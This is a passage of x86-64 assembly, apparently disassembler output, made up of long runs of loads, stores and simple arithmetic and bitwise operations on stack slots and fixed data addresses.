mov dword [rsp + 0x532c], eax
mov rax, qword [rsp + 0xa940]
mov ecx, dword [rsp + 0x52bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4e00], eax
lea rax, [rsp + 0xb638]
mov qword [rsp + 0xbbe8], rax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb1b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb630], rax
mov rax, qword [rsp + 0x9b70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaab0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7158], ax
movsx eax, byte [rsp + 0xce]
mov rcx, qword [rsp + 0xadd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x99], al
movzx eax, byte [0x1401e87f7]
mov byte [rsp + 0x1cd], al
movzx eax, word [rsp + 0x10b4]
movzx ecx, word [rsp + 0x1338]
sub eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x9d28]
movzx eax, byte [rax]
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x9738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb398]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb518]
mov rcx, qword [rsp + 0xa6d0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9058], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0xbbf0], rax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [0x1401e7018]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x149c]
add eax, ecx
mov word [0x1401e703c], ax
mov rax, qword [rsp + 0xa068]
movzx eax, byte [rax]
mov byte [rsp + 0x1cf], al
movzx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb8d8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1088]
movsx ecx, word [rsp + 0x12ec]
or eax, ecx
mov word [rsp + 0x1348], ax
lea rax, [rsp + 0x100c]
mov qword [rsp + 0xbbf8], rax
mov eax, dword [rsp + 0x4e74]
mov rcx, qword [rsp + 0xaa68]
mov qword [rsp + 0xbc00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x50d4], eax
mov rax, qword [rsp + 0x9a78]
mov qword [rsp + 0xbc08], rax
mov rax, qword [rsp + 0xab60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5270]
sar eax, cl
mov rcx, qword [rsp + 0xbba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb400]
mov rcx, qword [0x1401e7018]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
mov word [rsp + 0x1558], ax
lea rax, [rsp + 0x1548]
mov qword [0x1401e8db8], rax
mov rax, qword [0x1401e8968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa2]
and eax, ecx
mov byte [rsp + 0x1b0], al
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x1d0], al
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf58]
mov byte [rcx], al
lea rax, [0x1401e7028]
mov qword [rsp + 0xbc10], rax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9f60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5018]
mov ecx, dword [rsp + 0x4d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cec], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0x9278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0xaf88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
add eax, ecx
mov byte [0x1401e703b], al
lea rax, [rsp + 0x12cc]
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9718]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [0x1401e8ad8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b2], al
mov rax, qword [rsp + 0x9f50]
mov qword [rsp + 0xbc28], rax
mov rax, qword [rsp + 0xa390]
mov rcx, qword [rsp + 0xb4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0xaa10]
mov qword [rsp + 0xbc30], rax
mov eax, dword [rsp + 0x5164]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa0d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1344]
shl eax, cl
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x12e4]
mov qword [0x1401e8dc0], rax
lea rax, [rsp + 0x1078]
mov qword [rsp + 0xbc38], rax
movzx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0x9270]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x9fc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1d1], al
mov rax, qword [rsp + 0xbc18]
mov rcx, qword [rsp + 0xb988]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0xb518]
mov rax, qword [rax]
mov qword [rsp + 0xbc40], rax
mov eax, dword [rsp + 0x4f6c]
mov ecx, dword [rsp + 0x5170]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0xb0e0]
mov ecx, dword [rsp + 0x4f9c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x52a0], eax
lea rax, [rsp + 0x11d4]
mov qword [rsp + 0xbc48], rax
movsx eax, word [rsp + 0x10c0]
movsx ecx, word [rsp + 0x13b0]
add eax, ecx
mov word [0x1401e8940], ax
movzx eax, byte [rsp + 0xa5]
movzx ecx, byte [rsp + 0x1c7]
add eax, ecx
mov byte [rsp + 0xb8], al
lea rax, [rsp + 0xf2]
mov qword [rsp + 0xbc50], rax
movsx eax, byte [rsp + 0x97]
mov rcx, qword [rsp + 0xb038]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x13f], al
movsx eax, byte [0x1401e87e7]
mov rcx, qword [rsp + 0xb030]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0x50c8]
mov dword [rsp + 0x5330], eax
mov rax, qword [rsp + 0x9250]
mov rcx, qword [rsp + 0x9468]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e40], rax
mov rax, qword [rsp + 0x9c20]
mov eax, dword [rax]
mov dword [rsp + 0x5334], eax
mov rax, qword [rsp + 0x92e8]
mov rcx, qword [rsp + 0xbc30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa950]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1c7]
mov rcx, qword [rsp + 0xb598]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e70a2], al
movsx eax, word [rsp + 0x12a0]
mov rcx, qword [rsp + 0xb380]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1504], ax
lea rax, [rsp + 0x1330]
mov qword [rsp + 0xbc58], rax
movsx eax, word [rsp + 0x1128]
movsx ecx, word [rsp + 0x14ec]
xor eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1d2], al
mov rax, qword [rsp + 0x8c90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa850]
mov qword [rsp + 0xbc60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc60]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xaef0], rax
mov eax, dword [rsp + 0x5148]
mov rcx, qword [rsp + 0xa790]
mov qword [rsp + 0xbc68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbc68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x506c], eax
lea rax, [rsp + 0x5058]
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xa968]
mov rcx, qword [rsp + 0x9fa0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb5e8], rax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xf3]
add eax, ecx
mov rcx, qword [0x1401e8b48]
mov byte [rcx], al
movzx eax, byte [rsp + 0x110]
mov byte [rsp + 0x1d3], al
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13a]
and eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0xa7a0]
movzx eax, word [rax]
mov word [rsp + 0x155c], ax
movzx eax, word [0x1401e8c88]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0xac80]
mov rcx, qword [rsp + 0x9800]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9210], rax
lea rax, [rsp + 0x5308]
mov qword [rsp + 0xbc78], rax
mov rax, qword [rsp + 0x95a8]
mov rcx, qword [rsp + 0xaa78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xacd8], rax
lea rax, [rsp + 0x50f0]
mov qword [rsp + 0xbc80], rax
lea rax, [rsp + 0x10d0]
mov qword [0x1401e8dc8], rax
mov rax, qword [0x1401e8998]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa298]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x103], al
mov rax, qword [rsp + 0xae08]
movzx eax, word [rax]
mov word [rsp + 0x1560], ax
mov rax, qword [0x1401e88b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae80]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1524], ax
mov rax, qword [rsp + 0xa468]
mov qword [rsp + 0xbc88], rax
mov rax, qword [rsp + 0xa088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5328], eax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xb238]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb3f8], rax
lea rax, [rsp + 0x4f38]
mov qword [rsp + 0xbc90], rax
movzx eax, byte [rsp + 0x101]
mov rcx, qword [0x1401e8d90]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e70a3], al
mov rax, qword [rsp + 0xbb48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9470]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xae58]
mov word [rcx], ax
movzx eax, word [rsp + 0x152c]
mov word [rsp + 0x1564], ax
movsx eax, byte [rsp + 0x116]
movsx ecx, byte [0x1401e8794]
or eax, ecx
mov rcx, qword [rsp + 0x91a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa258]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15f]
sar eax, cl
mov byte [rsp + 0x189], al
mov rax, qword [rsp + 0xa940]
mov eax, dword [rax]
mov dword [rsp + 0x5338], eax
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0xb160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa00], rax
mov eax, dword [rsp + 0x4e68]
mov dword [rsp + 0x533c], eax
mov rax, qword [rsp + 0x9670]
mov rcx, qword [rsp + 0x90f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xadc0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x176]
mov rcx, qword [0x1401e8af8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401e8850]
mov byte [rcx], al
lea rax, [rsp + 0x13b8]
mov qword [rsp + 0xbc98], rax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1178]
add eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0xb360]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14ac], ax
movzx eax, byte [rsp + 0xeb]
mov byte [rsp + 0x1d4], al
mov rax, qword [rsp + 0xb400]
mov rcx, qword [rsp + 0xb7a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fa0], rax
lea rax, [rsp + 0xabf0]
mov qword [rsp + 0xbca0], rax
mov rax, qword [rsp + 0xb368]
mov ecx, dword [rsp + 0x4e78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50cc], eax
mov eax, dword [rsp + 0x51a0]
mov ecx, dword [rsp + 0x51fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa648]
mov dword [rcx], eax
mov rax, qword [0x1401e8930]
movzx eax, byte [rax]
mov byte [0x1401e888f], al
movzx eax, word [rsp + 0x13e4]
mov word [rsp + 0x1568], ax
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov byte [rcx], al
lea rax, [rsp + 0x104c]
mov qword [rsp + 0xbca8], rax
movsx eax, byte [rsp + 0x110]
movsx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0xad40]
mov byte [rcx], al
mov rax, qword [rsp + 0xb9c8]
mov rcx, qword [rsp + 0x8b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xae60], rax
mov rax, qword [rsp + 0xa098]
mov eax, dword [rax]
mov dword [rsp + 0x5340], eax
mov rax, qword [rsp + 0xb970]
mov rcx, qword [rsp + 0x8df8]
mov qword [rsp + 0xbcb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbcb0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xae68], rax
mov rax, qword [rsp + 0xb4c8]
mov eax, dword [rax]
mov dword [rsp + 0x5344], eax
mov rax, qword [rsp + 0x8f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1500]
or eax, ecx
mov word [0x1401e70c8], ax
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa1f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa9c8]
movzx eax, word [rax]
mov word [rsp + 0x156c], ax
mov rax, qword [rsp + 0xa2b8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8900]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa2a8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x13b]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f40]
mov byte [rcx], al
lea rax, [rsp + 0x50d8]
mov qword [rsp + 0xbcb8], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8ff0]
mov qword [rcx], rax
lea rax, [rsp + 0x8e50]
mov qword [rsp + 0xbcc0], rax
mov rax, qword [rsp + 0xa390]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5228], eax
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
movzx ecx, word [0x1401e88c0]
and eax, ecx
mov word [rsp + 0x1024], ax
movsx eax, word [rsp + 0x1120]
movsx ecx, word [rsp + 0x1354]
add eax, ecx
mov rcx, qword [0x1401e8a48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x175]
mov byte [rsp + 0x1d5], al
mov rax, qword [rsp + 0xa9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x148c]
mov word [rsp + 0x1570], ax
mov rax, qword [rsp + 0xaac8]
mov rcx, qword [rsp + 0x9fd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0xb0f8]
mov rcx, qword [rsp + 0xb240]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa468], rax
lea rax, [rsp + 0x51f4]
mov qword [rsp + 0xbcc8], rax
mov rax, qword [rsp + 0xaba8]
mov ecx, dword [rsp + 0x506c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fbc], eax
movzx eax, byte [0x1401e7077]
mov byte [rsp + 0x1d6], al
movzx eax, word [rsp + 0x11c8]
mov rcx, qword [rsp + 0xb800]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e715c], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16e]
shl eax, cl
mov byte [rsp + 0x74], al
movsx eax, byte [0x1401e704f]
movsx ecx, byte [rsp + 0x102]
sar eax, cl
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0x1334]
mov word [rsp + 0x1574], ax
mov rax, qword [rsp + 0xbb78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5114]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e44], eax
mov rax, qword [rsp + 0xa4e0]
mov eax, dword [rax]
mov dword [rsp + 0x5348], eax
mov rax, qword [rsp + 0x8b50]
mov rcx, qword [rsp + 0xaf38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa780], rax
lea rax, [rsp + 0xaca8]
mov qword [rsp + 0xbcd0], rax
mov rax, qword [0x1401e8d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9f80]
mov byte [rcx], al
movsx eax, byte [rsp + 0x72]
movsx ecx, byte [rsp + 0x78]
sub eax, ecx
mov byte [0x1401e70a6], al
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa3]
add eax, ecx
mov byte [rsp + 0x115], al
movzx eax, word [rsp + 0x1034]
mov word [rsp + 0x1578], ax
mov rax, qword [rsp + 0xa1e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x112c]
sub eax, ecx
mov rcx, qword [rsp + 0x9de0]
mov word [rcx], ax
lea rax, [rsp + 0xb520]
mov qword [rsp + 0xbcd8], rax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb298]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9318], rax
mov eax, dword [section..data]
mov dword [rsp + 0x534c], eax
mov rax, qword [rsp + 0xb760]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1398]
add eax, ecx
mov rcx, qword [0x1401e8bf0]
mov word [rcx], ax
lea rax, [0x1401e7070]
mov qword [rsp + 0xbce0], rax
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0x99c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa888]
mov byte [rcx], al
mov rax, qword [rsp + 0xae70]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
xor eax, ecx
mov rcx, qword [rsp + 0xbb70]
mov byte [rcx], al
lea rax, [rsp + 0x1120]
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xaf00]
mov ecx, dword [rsp + 0x5138]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x50ac], eax
lea rax, [rsp + 0xb458]
mov qword [rsp + 0xbcf0], rax
mov rax, qword [0x1401e7028]
movzx ecx, al
mov rax, qword [rsp + 0x9a08]
sar rax, cl
mov rcx, qword [rsp + 0xa730]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa4e8]
mov eax, dword [rax]
mov dword [rsp + 0x5350], eax
mov rax, qword [rsp + 0x90a0]
movzx eax, byte [rax]
mov byte [0x1401e889a], al
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov rcx, qword [0x1401e8d28]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98d8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9868]
mov byte [rcx], al
lea rax, [rsp + 0x174]
mov qword [rsp + 0xbcf8], rax
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x127], al
mov eax, dword [rsp + 0x4f28]
mov dword [rsp + 0x5354], eax
mov rax, qword [rsp + 0x9eb8]
mov ecx, dword [rsp + 0x51e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa170]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7a8], rax
mov rax, qword [rsp + 0xa600]
mov rax, qword [rax]
mov qword [rsp + 0xbd00], rax
movzx eax, word [rsp + 0x1274]
movzx ecx, word [rsp + 0x1258]
sub eax, ecx
mov rcx, qword [0x1401e8b88]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11a]
movsx ecx, byte [rsp + 0xcc]
add eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x109]
mov byte [rsp + 0x1d7], al
movzx eax, word [rsp + 0x1440]
mov rcx, qword [rsp + 0xa958]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1474], ax
mov rax, qword [0x1401e8ac8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9490]
mov rax, qword [rax]
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x9b78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0x8f08]
mov eax, dword [rax]
mov dword [rsp + 0x5358], eax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb608]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1480]
sar eax, cl
mov word [0x1401e8898], ax
mov rax, qword [rsp + 0xb038]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12e]
xor eax, ecx
mov byte [rsp + 0x119], al
movzx eax, byte [rsp + 0x1ae]
mov byte [rsp + 0x1d8], al
movsx eax, word [rsp + 0x1424]
movsx ecx, word [rsp + 0x12c4]
shl eax, cl
mov word [rsp + 0x13b0], ax
mov rax, qword [0x1401e88b0]
movzx eax, word [rax]
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0xb608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x507c], eax
mov rax, qword [rsp + 0xb490]
mov eax, dword [rax]
mov dword [rsp + 0x535c], eax
mov rax, qword [rsp + 0xa038]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0x8d08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb090], rax
movzx eax, byte [rsp + 0x89]
movzx ecx, byte [0x1401e87a2]
add eax, ecx
mov byte [0x1401e70a7], al
lea rax, [rsp + 0x1008]
mov qword [rsp + 0xbd10], rax
movzx eax, word [rsp + 0x147c]
movzx ecx, word [rsp + 0x122c]
add eax, ecx
mov word [rsp + 0x1340], ax
movzx eax, byte [rsp + 0x1a2]
mov byte [rsp + 0x1d9], al
mov rax, qword [0x1401e8a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1308], ax
mov rax, qword [rsp + 0x9cb0]
mov rcx, qword [rsp + 0x9610]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa9b0]
mov qword [rcx], rax
lea rax, [rsp + 0xa6d0]
mov qword [rsp + 0xbd18], rax
mov rax, qword [rsp + 0x9f70]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9ba0]
mov dword [rcx], eax
lea rax, [rsp + 0x4d88]
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xbc38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb148]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7128], ax
movzx eax, byte [rsp + 0x9f]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov byte [rsp + 0x76], al
movsx eax, byte [rsp + 0x1be]
movsx ecx, byte [rsp + 0x1cf]
or eax, ecx
mov byte [rsp + 0xc2], al
lea rax, [rsp + 0x1104]
mov qword [rsp + 0xbd28], rax
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x1114]
sar eax, cl
mov word [rsp + 0x146c], ax
mov rax, qword [rsp + 0xb8a8]
mov qword [rsp + 0xbd30], rax
mov eax, dword [0x1401e7008]
movzx ecx, al
mov eax, dword [rsp + 0x4e54]
shl eax, cl
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0xb410]
mov rcx, qword [rsp + 0xb220]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9358], rax
mov rax, qword [rsp + 0xbb90]
mov eax, dword [rax]
mov dword [rsp + 0x5360], eax
lea rax, [rsp + 0x71]
mov qword [0x1401e8dd0], rax
mov rax, qword [0x1401e8b10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13ec]
add eax, ecx
mov rcx, qword [rsp + 0xb078]
mov word [rcx], ax
movzx eax, word [rsp + 0x100c]
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xac28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb790]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0xae88]
movzx eax, byte [rax]
mov byte [rsp + 0x1da], al
mov eax, dword [rsp + 0x51cc]
mov ecx, dword [rsp + 0x4e58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5004], eax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0xa2a0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fe8]
mov qword [rsp + 0xbd38], rax
mov eax, dword [rsp + 0x5194]
mov ecx, dword [rsp + 0x51d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa1c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb480]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8796]
sub eax, ecx
mov byte [0x1401e87e7], al
movzx eax, word [rsp + 0x1298]
mov word [rsp + 0x1584], ax
mov rax, qword [rsp + 0x9c58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1394]
sub eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa3a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9a20]
mov byte [rcx], al
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xb928]
mov rcx, qword [rsp + 0x9610]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
